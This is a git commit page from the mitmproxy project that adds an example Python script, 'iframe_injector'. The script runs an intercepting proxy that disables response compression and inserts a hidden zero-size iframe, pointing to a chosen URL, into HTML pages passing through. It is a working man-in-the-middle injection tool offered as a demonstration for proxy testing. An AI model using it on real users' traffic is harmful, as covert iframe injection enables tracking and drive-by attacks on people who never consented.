aboutsummaryrefslogtreecommitdiffstats
path: root/examples/iframe_injector
diff options
context:
space:
mode:
authorJakub Nawalaniec <pielgrzym@prymityw.pl>2013-01-13 20:54:16 +0100
committerJakub Nawalaniec <pielgrzym@prymityw.pl>2013-01-13 20:54:16 +0100
commita658dba4106ddcd84f2a5275efa51867e6b5fa0a (patch)
treeb4516bc6687c6af23f3dd20f39ce4f57a947ff53 /examples/iframe_injector
parent060e3198bca48f327984b2d1d73a5d4592866736 (diff)
downloadmitmproxy-a658dba4106ddcd84f2a5275efa51867e6b5fa0a.tar.gz
mitmproxy-a658dba4106ddcd84f2a5275efa51867e6b5fa0a.tar.bz2
mitmproxy-a658dba4106ddcd84f2a5275efa51867e6b5fa0a.zip
New example - standalone proxy injecting iframes into responses
Diffstat (limited to 'examples/iframe_injector')
-rwxr-xr-xexamples/iframe_injector50
1 files changed, 50 insertions, 0 deletions
diff --git a/examples/iframe_injector b/examples/iframe_injector
new file mode 100755
index 00000000..6dd28674
--- /dev/null
+++ b/examples/iframe_injector
@@ -0,0 +1,50 @@
+#!/usr/bin/env python
+"""
+ Zap encoding in requests and inject iframe after body tag in html responses.
+ Usage:
+ iframe_injector http://someurl/somefile.html
+"""
+from libmproxy import controller, proxy
+import os
+import sys
+
+
+class InjectingMaster(controller.Master):
+ def __init__(self, server, iframe_url):
+ controller.Master.__init__(self, server)
+ self._iframe_url = iframe_url
+
+ def run(self):
+ try:
+ return controller.Master.run(self)
+ except KeyboardInterrupt:
+ self.shutdown()
+
+ def handle_request(self, msg):
+ if 'Accept-Encoding' in msg.headers:
+ msg.headers["Accept-Encoding"] = 'none'
+ msg._ack()
+
+ def handle_response(self, msg):
+ if msg.content:
+ c = msg.replace('<body>', '<body><iframe src="%s" frameborder="0" height="0" width="0"></iframe>' % self._iframe_url)
+ if c > 0:
+ print 'Iframe injected!'
+ msg._ack()
+
+
+def main(argv):
+ if len(argv) != 2:
+ print "Usage: %s IFRAME_URL" % argv[0]
+ sys.exit(1)
+ iframe_url = argv[1]
+ config = proxy.ProxyConfig(
+ cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem")
+ )
+ server = proxy.ProxyServer(config, 8080)
+ print 'Starting proxy...'
+ m = InjectingMaster(server, iframe_url)
+ m.run()
+
+if __name__ == '__main__':
+ main(sys.argv)